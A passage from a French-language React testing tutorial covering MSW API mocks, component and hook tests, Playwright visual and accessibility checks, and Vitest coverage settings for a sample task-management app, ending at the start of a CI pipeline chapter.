        filtered = filtered.filter(t => t.status === status);
      }
      if (search) {
        filtered = filtered.filter(t =>
          t.title.toLowerCase().includes(search.toLowerCase())
        );
      }

      const total = filtered.length;
      const paged = filtered.slice((page - 1) * limit, page * limit);

      return HttpResponse.json({
        data:       paged,
        total,
        page,
        limit,
        totalPages: Math.ceil(total / limit),
        hasNext:    page * limit < total,
        hasPrev:    page > 1,
      });
    }),

    http.get('/api/tasks/:id', ({ params }) => {
      const task = tasks.find(t => t.id === parseInt(params.id as string));
      if (!task) {
        return HttpResponse.json({ message: 'Tâche non trouvée' }, { status: 404 });
      }
      return HttpResponse.json(task);
    }),

    http.post('/api/tasks', async ({ request }) => {
      const body = await request.json() as Partial<Task>;
      const newTask: Task = {
        ...body,
        id:          nextId++,
        status:      body.status ?? 'todo',
        tags:        body.tags ?? [],
        subtasks:    [],
        completedAt: null,
        commentsCount:   0,
        attachmentsCount: 0,
        createdAt:   new Date().toISOString(),
        updatedAt:   new Date().toISOString(),
      } as Task;

      tasks = [newTask, ...tasks];
      return HttpResponse.json(newTask, { status: 201 });
    }),

    http.patch('/api/tasks/:id', async ({ params, request }) => {
      const id   = parseInt(params.id as string);
      const body = await request.json() as Partial<Task>;
      const idx  = tasks.findIndex(t => t.id === id);

      if (idx === -1) {
        return HttpResponse.json({ message: 'Non trouvée' }, { status: 404 });
      }

      tasks[idx] = {
        ...tasks[idx],
        ...body,
        updatedAt: new Date().toISOString(),
      };
      return HttpResponse.json(tasks[idx]);
    }),

    http.delete('/api/tasks/:id', ({ params }) => {
      const id  = parseInt(params.id as string);
      const idx = tasks.findIndex(t => t.id === id);

      if (idx === -1) {
        return HttpResponse.json({ message: 'Non trouvée' }, { status: 404 });
      }

      tasks.splice(idx, 1);
      return new HttpResponse(null, { status: 204 });
    }),
  ];

  // src/mocks/server.ts — Setup pour les tests Node.js
  import { setupServer } from 'msw/node';
  import { handlers } from './handlers';

  export const server = setupServer(...handlers);

  // src/mocks/browser.ts — Setup pour le dev browser
  import { setupWorker } from 'msw/browser';
  import { handlers } from './handlers';

  export const worker = setupWorker(...handlers);

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
85.3 — SETUP DANS LES TESTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/test/setup.ts
  import '@testing-library/jest-dom';
  import { cleanup } from '@testing-library/react';
  import { afterAll, afterEach, beforeAll } from 'vitest';
  import { server } from '@/mocks/server';

  // Démarrer le serveur avant tous les tests :
  beforeAll(() => server.listen({ onUnhandledRequest: 'error' }));

  // Réinitialiser les handlers après chaque test :
  afterEach(() => {
    server.resetHandlers();
    cleanup();
  });

  // Arrêter le serveur après tous les tests :
  afterAll(() => server.close());

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
85.4 — TESTS D'INTÉGRATION AVEC MSW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/pages/TasksPage/TasksPage.test.tsx
  import { describe, it, expect, beforeEach } from 'vitest';
  import { render, screen, waitFor, within } from '@testing-library/react';
  import userEvent from '@testing-library/user-event';
  import { http, HttpResponse } from 'msw';
  import { server } from '@/mocks/server';
  import { renderWithProviders } from '@/test/utils';  // Helper custom
  import TasksPage from './TasksPage';

  describe('TasksPage — Intégration', () => {
    it('affiche le spinner pendant le chargement puis les tâches', async () => {
      renderWithProviders(<TasksPage />);

      // Spinner visible pendant le chargement :
      expect(screen.getByRole('status')).toBeInTheDocument();

      // Tâches visibles après chargement :
      await waitFor(() => {
        expect(screen.getByText('Créer le wireframe')).toBeInTheDocument();
        expect(screen.getByText('Implémenter l\'auth')).toBeInTheDocument();
      });

      // Spinner disparu :
      expect(screen.queryByRole('status')).not.toBeInTheDocument();
    });

    it('affiche un message d\'erreur si l\'API échoue', async () => {
      // Remplacer le handler pour ce test uniquement :
      server.use(
        http.get('/api/tasks', () => {
          return HttpResponse.json({ message: 'Erreur serveur' }, { status: 500 });
        })
      );

      renderWithProviders(<TasksPage />);

      await waitFor(() => {
        expect(screen.getByRole('alert')).toBeInTheDocument();
        expect(screen.getByText(/erreur serveur/i)).toBeInTheDocument();
      });
    });

    it('crée une nouvelle tâche avec le formulaire', async () => {
      const user = userEvent.setup();
      renderWithProviders(<TasksPage />);

      // Attendre que la liste soit chargée :
      await waitFor(() => {
        expect(screen.getByText('Créer le wireframe')).toBeInTheDocument();
      });

      // Ouvrir le formulaire :
      await user.click(screen.getByRole('button', { name: /nouvelle tâche/i }));

      // Remplir le formulaire :
      await user.type(screen.getByLabelText(/titre/i), 'Ma tâche de test');
      await user.selectOptions(screen.getByLabelText(/priorité/i), 'high');
      await user.click(screen.getByRole('button', { name: /créer/i }));

      // La nouvelle tâche doit apparaître dans la liste :
      await waitFor(() => {
        expect(screen.getByText('Ma tâche de test')).toBeInTheDocument();
      });
    });

    it('filtre les tâches par statut', async () => {
      const user = userEvent.setup();
      renderWithProviders(<TasksPage />);

      await waitFor(() => {
        expect(screen.getAllByRole('article')).toHaveLength(2);
      });

      // Filtrer par "done" :
      await user.click(screen.getByRole('tab', { name: /terminées/i }));

      await waitFor(() => {
        const articles = screen.getAllByRole('article');
        expect(articles).toHaveLength(1);
        expect(within(articles[0]).getByText('Créer le wireframe')).toBeInTheDocument();
      });
    });

    it('recherche des tâches', async () => {
      const user = userEvent.setup();
      renderWithProviders(<TasksPage />);

      await waitFor(() => screen.getAllByRole('article'));

      await user.type(screen.getByRole('searchbox'), 'auth');

      // Attendre le debounce + réponse :
      await waitFor(() => {
        expect(screen.getAllByRole('article')).toHaveLength(1);
        expect(screen.getByText('Implémenter l\'auth')).toBeInTheDocument();
      });
    });

    it('supprime une tâche avec confirmation', async () => {
      const user = userEvent.setup();
      renderWithProviders(<TasksPage />);

      await waitFor(() => screen.getAllByRole('article'));

      // Supprimer la première tâche :
      const firstArticle = screen.getAllByRole('article')[0];
      await user.click(within(firstArticle).getByRole('button', { name: /supprimer/i }));

      // Confirmation dialog :
      await user.click(screen.getByRole('button', { name: /confirmer/i }));

      // La tâche doit disparaître :
      await waitFor(() => {
        expect(screen.getAllByRole('article')).toHaveLength(1);
      });
    });
  });

  // src/test/utils.tsx — Helper pour les providers
  import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
  import { BrowserRouter }                     from 'react-router-dom';
  import { ReactNode }                          from 'react';
  import { AuthProvider }                       from '@/contexts/AuthContext';
  import { UIProvider }                         from '@/contexts/UIContext';

  function renderWithProviders(ui: ReactNode, options: { route?: string } = {}) {
    const queryClient = new QueryClient({
      defaultOptions: {
        queries:   { retry: false, staleTime: 0 },
        mutations: { retry: false },
      },
    });

    window.history.pushState({}, 'Test', options.route ?? '/');

    return render(
      <QueryClientProvider client={queryClient}>
        <BrowserRouter>
          <AuthProvider>
            <UIProvider>
              {ui}
            </UIProvider>
          </AuthProvider>
        </BrowserRouter>
      </QueryClientProvider>
    );
  }

  export { renderWithProviders };


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 86 : TESTS DE COMPOSANTS AVEC CONTEXTE ET PROVIDERS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
86.1 — WRAPPER CUSTOM POUR LES TESTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/test/TestProviders.tsx — Wrapper réutilisable
  import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
  import { MemoryRouter }  from 'react-router-dom';
  import { ReactNode }     from 'react';

  interface TestProvidersProps {
    children:       ReactNode;
    initialEntries?: string[];     // Routes initiales (MemoryRouter)
    user?:          Partial<User>; // Utilisateur connecté simulé
  }

  export function TestProviders({
    children,
    initialEntries = ['/'],
    user = null,
  }: TestProvidersProps) {
    const queryClient = new QueryClient({
      defaultOptions: {
        queries:   { retry: false, staleTime: Infinity },
        mutations: { retry: false },
      },
      logger: {
        // Désactiver les logs d'erreur attendus dans les tests :
        log:   () => {},
        warn:  () => {},
        error: () => {},
      },
    });

    return (
      <QueryClientProvider client={queryClient}>
        <MemoryRouter initialEntries={initialEntries}>
          <MockAuthProvider user={user}>
            <UIProvider>
              {children}
            </UIProvider>
          </MockAuthProvider>
        </MemoryRouter>
      </QueryClientProvider>
    );
  }

  // MockAuthProvider — simule l'auth sans vraie requête
  function MockAuthProvider({ children, user }: { children: ReactNode; user: any }) {
    const mockValue = {
      user:            user ?? null,
      isLoading:       false,
      isAuthenticated: !!user,
      login:           vi.fn().mockResolvedValue(user),
      logout:          vi.fn().mockResolvedValue(undefined),
      updateUser:      vi.fn(),
    };

    return (
      <AuthContext.Provider value={mockValue}>
        {children}
      </AuthContext.Provider>
    );
  }

  // Helpers pour render avec providers :
  const ALICE: User = {
    id: 1, name: 'Alice Martin', email: 'alice@taskflow.app',
    role: 'admin', avatar: null,
    createdAt: '2024-01-01T00:00:00Z',
    updatedAt: '2024-01-01T00:00:00Z',
  };

  export function renderAuthenticated(
    ui: ReactNode,
    options: { user?: User; route?: string } = {}
  ) {
    return render(
      <TestProviders
        user={options.user ?? ALICE}
        initialEntries={[options.route ?? '/']}
      >
        {ui}
      </TestProviders>
    );
  }

  export function renderGuest(ui: ReactNode) {
    return render(
      <TestProviders user={null}>{ui}</TestProviders>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
86.2 — TEST D'UN COMPOSANT AVEC CONTEXT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/layout/Header/Header.test.tsx
  import { describe, it, expect, vi } from 'vitest';
  import { render, screen, fireEvent } from '@testing-library/react';
  import userEvent from '@testing-library/user-event';
  import { renderAuthenticated, renderGuest } from '@/test/TestProviders';
  import Header from './Header';

  describe('Header', () => {
    describe('Utilisateur connecté', () => {
      it('affiche le nom de l\'utilisateur', () => {
        renderAuthenticated(<Header />);
        expect(screen.getByText('Alice Martin')).toBeInTheDocument();
      });

      it('affiche le bouton de déconnexion dans le menu', async () => {
        const user = userEvent.setup();
        renderAuthenticated(<Header />);

        await user.click(screen.getByRole('button', { name: /menu utilisateur/i }));
        expect(screen.getByRole('menuitem', { name: /déconnexion/i })).toBeInTheDocument();
      });

      it('appelle logout au clic sur "Déconnexion"', async () => {
        const user = userEvent.setup();
        const { getByRole } = renderAuthenticated(<Header />);

        await user.click(getByRole('button', { name: /menu utilisateur/i }));
        await user.click(getByRole('menuitem', { name: /déconnexion/i }));

        // useAuth().logout doit avoir été appelé :
        const { logout } = require('@/contexts/AuthContext').useAuth();
        expect(logout).toHaveBeenCalledOnce();
      });
    });

    describe('Utilisateur non connecté', () => {
      it('affiche le bouton de connexion', () => {
        renderGuest(<Header />);
        expect(screen.getByRole('link', { name: /connexion/i })).toBeInTheDocument();
      });

      it('n\'affiche pas le menu utilisateur', () => {
        renderGuest(<Header />);
        expect(screen.queryByRole('button', { name: /menu utilisateur/i }))
          .not.toBeInTheDocument();
      });
    });

    it('est accessible (landmark navigation)', () => {
      renderAuthenticated(<Header />);
      expect(screen.getByRole('banner')).toBeInTheDocument();  // <header>
      expect(screen.getByRole('navigation')).toBeInTheDocument();  // <nav>
    });
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 87 : TESTS DE HOOKS CUSTOM AVANCÉS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
87.1 — TESTER UN HOOK AVEC DES APPELS API
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/queries/useTasks.test.ts
  import { describe, it, expect } from 'vitest';
  import { renderHook, waitFor } from '@testing-library/react';
  import { http, HttpResponse } from 'msw';
  import { server }             from '@/mocks/server';
  import { createWrapper }      from '@/test/utils';
  import { useTasks, useCreateTask, useDeleteTask } from './useTasks';

  // Wrapper qui fournit QueryClient :
  const wrapper = createWrapper();

  describe('useTasks', () => {
    it('charge les tâches avec succès', async () => {
      const { result } = renderHook(() => useTasks(), { wrapper });

      // Initialement en chargement :
      expect(result.current.isLoading).toBe(true);

      // Après chargement :
      await waitFor(() => {
        expect(result.current.isLoading).toBe(false);
      });

      expect(result.current.tasks).toHaveLength(2);
      expect(result.current.tasks[0].title).toBe('Implémenter l\'auth');
    });

    it('expose les erreurs API', async () => {
      server.use(
        http.get('/api/tasks', () =>
          HttpResponse.json({ message: 'Server Error' }, { status: 500 })
        )
      );

      const { result } = renderHook(() => useTasks(), { wrapper });

      await waitFor(() => {
        expect(result.current.isLoading).toBe(false);
      });

      expect(result.current.error).toBeTruthy();
      expect(result.current.tasks).toHaveLength(0);
    });

    it('filtre les tâches côté API', async () => {
      const { result } = renderHook(() => useTasks({ status: 'done' }), { wrapper });

      await waitFor(() => expect(result.current.isLoading).toBe(false));

      expect(result.current.tasks.every(t => t.status === 'done')).toBe(true);
    });
  });

  describe('useCreateTask', () => {
    it('crée une tâche et invalide le cache', async () => {
      const { result } = renderHook(() => useCreateTask(), { wrapper });

      await result.current.createTask({
        title:    'Nouvelle tâche',
        priority: 'medium',
        tags:     [],
      });

      await waitFor(() => {
        expect(result.current.isLoading).toBe(false);
      });

      // Vérifier que la tâche a été créée (via la liste) :
      const { result: listResult } = renderHook(() => useTasks(), { wrapper });
      await waitFor(() => expect(listResult.current.tasks.length).toBeGreaterThan(0));
    });

    it('propage l\'erreur en cas d\'échec API', async () => {
      server.use(
        http.post('/api/tasks', () =>
          HttpResponse.json({ message: 'Validation failed' }, { status: 422 })
        )
      );

      const { result } = renderHook(() => useCreateTask(), { wrapper });

      await expect(
        result.current.createTask({ title: '', priority: 'medium', tags: [] })
      ).rejects.toThrow();
    });
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
87.2 — TESTER UN HOOK AVEC DES TIMERS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/useCountdown.test.ts
  import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
  import { renderHook, act } from '@testing-library/react';
  import useCountdown from './useCountdown';

  describe('useCountdown', () => {
    beforeEach(() => { vi.useFakeTimers(); });
    afterEach(() => { vi.useRealTimers(); });

    it('commence à la valeur initiale', () => {
      const { result } = renderHook(() => useCountdown(60));
      expect(result.current.timeLeft).toBe(60);
      expect(result.current.isRunning).toBe(false);
      expect(result.current.isFinished).toBe(false);
    });

    it('décompte quand démarré', () => {
      const { result } = renderHook(() => useCountdown(10));

      act(() => { result.current.start(); });
      expect(result.current.isRunning).toBe(true);

      act(() => { vi.advanceTimersByTime(3000); });
      expect(result.current.timeLeft).toBe(7);
    });

    it('s\'arrête quand il atteint 0', () => {
      const onFinish = vi.fn();
      const { result } = renderHook(() => useCountdown(5, { onFinish }));

      act(() => { result.current.start(); });
      act(() => { vi.advanceTimersByTime(5000); });

      expect(result.current.timeLeft).toBe(0);
      expect(result.current.isFinished).toBe(true);
      expect(result.current.isRunning).toBe(false);
      expect(onFinish).toHaveBeenCalledOnce();
    });

    it('peut être mis en pause et repris', () => {
      const { result } = renderHook(() => useCountdown(10));

      act(() => { result.current.start(); });
      act(() => { vi.advanceTimersByTime(3000); });
      act(() => { result.current.pause(); });
      expect(result.current.isRunning).toBe(false);

      // Le temps ne change pas pendant la pause :
      act(() => { vi.advanceTimersByTime(5000); });
      expect(result.current.timeLeft).toBe(7);

      // Reprendre :
      act(() => { result.current.start(); });
      act(() => { vi.advanceTimersByTime(2000); });
      expect(result.current.timeLeft).toBe(5);
    });

    it('réinitialise avec reset()', () => {
      const { result } = renderHook(() => useCountdown(10));

      act(() => { result.current.start(); });
      act(() => { vi.advanceTimersByTime(5000); });
      expect(result.current.timeLeft).toBe(5);

      act(() => { result.current.reset(); });
      expect(result.current.timeLeft).toBe(10);
      expect(result.current.isRunning).toBe(false);
    });
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 88 : TESTS DE PERFORMANCE ET RÉGRESSION VISUELLE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
88.1 — TESTS DE PERFORMANCE AVEC PROFILER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/tasks/TaskList/TaskList.perf.test.tsx
  import { describe, it, expect } from 'vitest';
  import { render, act } from '@testing-library/react';
  import { Profiler, ProfilerOnRenderCallback } from 'react';
  import TaskList from './TaskList';

  function generateTasks(count: number) {
    return Array.from({ length: count }, (_, i) => ({
      id:          i + 1,
      title:       `Tâche ${i + 1}`,
      status:      'todo' as const,
      priority:    'medium' as const,
      dueDate:     null,
      completedAt: null,
      tags:        [],
      assignee:    null,
      description: null,
      project:     null,
      subtasks:    [],
      estimatedHours: null,
      commentsCount: 0,
      attachmentsCount: 0,
      createdAt:   new Date().toISOString(),
      updatedAt:   new Date().toISOString(),
    }));
  }

  describe('TaskList — Performance', () => {
    it('rend 100 tâches en moins de 50ms', () => {
      const renderTimes: number[] = [];

      const onRender: ProfilerOnRenderCallback = (
        id, phase, actualDuration
      ) => {
        renderTimes.push(actualDuration);
      };

      const tasks = generateTasks(100);

      act(() => {
        render(
          <Profiler id="TaskList" onRender={onRender}>
            <TaskList
              tasks={tasks}
              onComplete={vi.fn()}
              onDelete={vi.fn()}
              onEdit={vi.fn()}
            />
          </Profiler>
        );
      });

      const [firstRender] = renderTimes;
      expect(firstRender).toBeLessThan(50);  // < 50ms pour 100 tâches
    });

    it('ne re-render pas les items non modifiés', () => {
      const renderCounts = new Map<number, number>();

      function TrackedTaskCard({ task, ...rest }: any) {
        renderCounts.set(task.id, (renderCounts.get(task.id) ?? 0) + 1);
        return <div data-testid={`task-${task.id}`}>{task.title}</div>;
      }

      const MemoTrackedTaskCard = React.memo(TrackedTaskCard);

      const tasks = generateTasks(10);
      const { rerender } = render(
        <TaskList tasks={tasks} CardComponent={MemoTrackedTaskCard} />
      );

      // Modifier une seule tâche :
      const updatedTasks = tasks.map(t =>
        t.id === 5 ? { ...t, title: 'MODIFIÉE' } : t
      );
      rerender(<TaskList tasks={updatedTasks} CardComponent={MemoTrackedTaskCard} />);

      // Seule la tâche 5 devrait avoir re-rendu :
      expect(renderCounts.get(5)).toBe(2);
      // Les autres tâches ne devraient pas avoir re-rendu :
      [1, 2, 3, 4, 6, 7, 8, 9, 10].forEach(id => {
        expect(renderCounts.get(id)).toBe(1);
      });
    });
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
88.2 — TESTS DE RÉGRESSION VISUELLE AVEC STORYBOOK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Chromatic — tests de régression visuelle intégrés à Storybook :
  npm install --save-dev chromatic

  # Dans GitHub Actions :
  # .github/workflows/chromatic.yml
  name: Chromatic
  on: [push]
  jobs:
    chromatic:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4
          with: { fetch-depth: 0 }
        - uses: actions/setup-node@v4
          with: { node-version: '20' }
        - run: npm ci
        - name: Run Chromatic
          uses: chromaui/action@latest
          with:
            projectToken: ${{ secrets.CHROMATIC_PROJECT_TOKEN }}
            exitZeroOnChanges: true  # Ne pas bloquer si changements intentionnels

  // Playwright — tests de screenshot :
  // e2e/visual.spec.ts
  import { test, expect } from '@playwright/test';

  test.describe('Tests visuels', () => {
    test('Dashboard ressemble au snapshot de référence', async ({ page }) => {
      await page.goto('/dashboard');
      await page.waitForLoadState('networkidle');

      // Masquer les éléments dynamiques (date, avatar, etc.) :
      await page.evaluate(() => {
        document.querySelectorAll('[data-dynamic]').forEach(el => {
          (el as HTMLElement).style.visibility = 'hidden';
        });
      });

      await expect(page).toHaveScreenshot('dashboard.png', {
        maxDiffPixelRatio: 0.02,  // Tolérance de 2%
        animations: 'disabled',
      });
    });

    test('TaskCard — variantes visuelles', async ({ page }) => {
      await page.goto('/storybook?story=tasks-taskcard--default');
      await page.waitForSelector('[data-testid="storybook-root"]');

      await expect(page.locator('[data-testid="storybook-root"]'))
        .toHaveScreenshot('taskcard-default.png');
    });
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 89 : TESTS D'ACCESSIBILITÉ AUTOMATISÉS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
89.1 — JEST-AXE POUR LES TESTS A11Y
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install --save-dev jest-axe @axe-core/react

  // src/test/setup.ts — Ajouter les matchers axe :
  import { configureAxe, toHaveNoViolations } from 'jest-axe';
  expect.extend(toHaveNoViolations);

  // Configuration globale d'axe :
  configureAxe({
    rules: [
      { id: 'color-contrast', enabled: true },
      { id: 'label',          enabled: true },
      { id: 'landmark-one-main', enabled: true },
    ],
  });

  // src/components/common/Button/Button.a11y.test.tsx
  import { describe, it, expect } from 'vitest';
  import { render } from '@testing-library/react';
  import { axe }    from 'jest-axe';
  import Button from './Button';

  describe('Button — Accessibilité', () => {
    it('ne doit pas avoir de violations a11y (état normal)', async () => {
      const { container } = render(
        <Button onClick={() => {}}>Sauvegarder</Button>
      );
      const results = await axe(container);
      expect(results).toHaveNoViolations();
    });

    it('ne doit pas avoir de violations a11y (état loading)', async () => {
      const { container } = render(
        <Button onClick={() => {}} isLoading>Chargement</Button>
      );
      const results = await axe(container);
      expect(results).toHaveNoViolations();
    });

    it('ne doit pas avoir de violations a11y (état disabled)', async () => {
      const { container } = render(
        <Button onClick={() => {}} disabled>Désactivé</Button>
      );
      const results = await axe(container);
      expect(results).toHaveNoViolations();
    });
  });

  // src/components/tasks/TaskForm/TaskForm.a11y.test.tsx
  describe('TaskForm — Accessibilité', () => {
    it('ne doit pas avoir de violations a11y', async () => {
      const { container } = render(
        <TaskForm onSubmit={vi.fn()} onCancel={vi.fn()} />
      );
      const results = await axe(container, {
        rules: {
          // Désactiver une règle non applicable :
          'region': { enabled: false },
        },
      });
      expect(results).toHaveNoViolations();
    });

    it('annonce les erreurs de validation aux lecteurs d\'écran', async () => {
      const user = userEvent.setup();
      const { container } = render(
        <TaskForm onSubmit={vi.fn()} onCancel={vi.fn()} />
      );

      // Soumettre sans remplir le formulaire :
      await user.click(screen.getByRole('button', { name: /créer/i }));

      // Vérifier les attributs ARIA :
      const titleInput = screen.getByLabelText(/titre/i);
      expect(titleInput).toHaveAttribute('aria-invalid', 'true');
      expect(titleInput).toHaveAttribute('aria-describedby');

      // Toujours accessible avec les erreurs :
      const results = await axe(container);
      expect(results).toHaveNoViolations();
    });
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
89.2 — TESTS A11Y AVEC PLAYWRIGHT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // e2e/accessibility.spec.ts
  import { test, expect }          from '@playwright/test';
  import AxeBuilder               from '@axe-core/playwright';

  test.describe('Accessibilité E2E', () => {
    test('Login page — zéro violation a11y', async ({ page }) => {
      await page.goto('/login');
      const results = await new AxeBuilder({ page })
        .withTags(['wcag2a', 'wcag2aa', 'wcag21a', 'wcag21aa'])
        .analyze();

      expect(results.violations).toEqual([]);
    });

    test('Dashboard — zéro violation a11y', async ({ page }) => {
      // Se connecter d'abord :
      await page.goto('/login');
      await page.getByLabel(/email/i).fill('alice@taskflow.app');
      await page.getByLabel(/mot de passe/i).fill('Password123!');
      await page.getByRole('button', { name: /se connecter/i }).click();
      await page.waitForURL('/dashboard');

      const results = await new AxeBuilder({ page })
        .exclude('[data-testid="avatar"]')  // Exclure si problème connu
        .withTags(['wcag2a', 'wcag2aa'])
        .analyze();

      // Afficher les violations pour le debug :
      if (results.violations.length > 0) {
        console.table(results.violations.map(v => ({
          id:      v.id,
          impact:  v.impact,
          desc:    v.description,
          nodes:   v.nodes.length,
        })));
      }

      expect(results.violations).toEqual([]);
    });

    test('Navigation au clavier sur la liste des tâches', async ({ page }) => {
      // Se connecter et aller sur les tâches :
      await page.goto('/tasks');

      // Naviguer avec Tab :
      await page.keyboard.press('Tab');
      const focused = await page.evaluate(() => document.activeElement?.tagName);
      expect(['A', 'BUTTON', 'INPUT']).toContain(focused);

      // Première tâche accessible au clavier :
      await page.keyboard.press('Tab');
      const nextFocused = await page.evaluate(() =>
        document.activeElement?.getAttribute('role')
      );
      // Vérifier que le focus est géré :
      expect(nextFocused).toBeTruthy();
    });
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 90 : COVERAGE ET STRATÉGIES DE TEST
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
90.1 — CONFIGURATION DU COVERAGE VITEST
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // vite.config.ts — section test
  export default defineConfig({
    test: {
      globals:     true,
      environment: 'jsdom',
      setupFiles:  './src/test/setup.ts',
      coverage: {
        provider:  'v8',       // ou 'istanbul'
        reporter:  ['text', 'html', 'lcov', 'json'],
        reportsDirectory: './coverage',
        thresholds: {
          lines:      80,      // 80% de lignes couvertes minimum
          functions:  80,
          branches:   75,
          statements: 80,
        },
        exclude: [
          'src/main.tsx',
          'src/test/**',
          'src/mocks/**',
          'src/**/*.stories.tsx',
          'src/**/*.types.ts',
          'src/graphql/generated/**',  // Types générés
        ],
        include: [
          'src/**/*.{ts,tsx}',
        ],
      },
    },
  });

  # Commandes :
  npm run test              # Tests sans coverage
  npm run test:coverage     # Tests avec rapport de coverage
  npm run test:coverage -- --reporter=verbose  # Détail par fichier
  npm run test:ui           # Interface graphique Vitest

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
90.2 — STRATÉGIE DE COVERAGE PAR TYPE DE FICHIER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FICHIER                  OBJECTIF COVERAGE   TYPE DE TESTS
  ───────────────────────  ──────────────────  ─────────────────────────
  utils/*.ts               > 95%               Unitaires (purs, simples)
  hooks/*.ts               > 85%               renderHook + waitFor
  schemas/*.ts             > 90%               Unitaires (validation Zod)
  store/*.ts               > 80%               Unitaires (reducers/actions)
  components/common/*.tsx  > 80%               RTL + a11y + snapshot
  components/tasks/*.tsx   > 75%               RTL + MSW intégration
  pages/*.tsx              > 60%               Intégration + E2E
  api/*.ts                 > 70%               MSW + unitaires
  contexts/*.tsx           > 80%               renderHook + providers

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
90.3 — IDENTIFIER LES FICHIERS À TESTER EN PRIORITÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PRIORISER les tests selon :
    1. Complexité de la logique (plus c'est complexe -> plus il faut tester)
    2. Impact sur le business (auth, paiements, CRUD -> critique)
    3. Fréquence de modification (change souvent -> régression probable)
    4. Difficile à tester manuellement (edge cases, erreurs réseau)

  NE PAS TESTER :
    [X] Code trivial sans logique (composants de pure UI, wrappers simples)
    [X] Bibliothèques tierces (elles ont leurs propres tests)
    [X] Code généré automatiquement (types GraphQL, Prisma types)
    [X] Configuration (vite.config.ts, tsconfig.json)


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 91 : CI PIPELINE COMPLÈTE POUR LES TESTS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
91.1 — GITHUB ACTIONS — PIPELINE COMPLÈTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .github/workflows/quality.yml
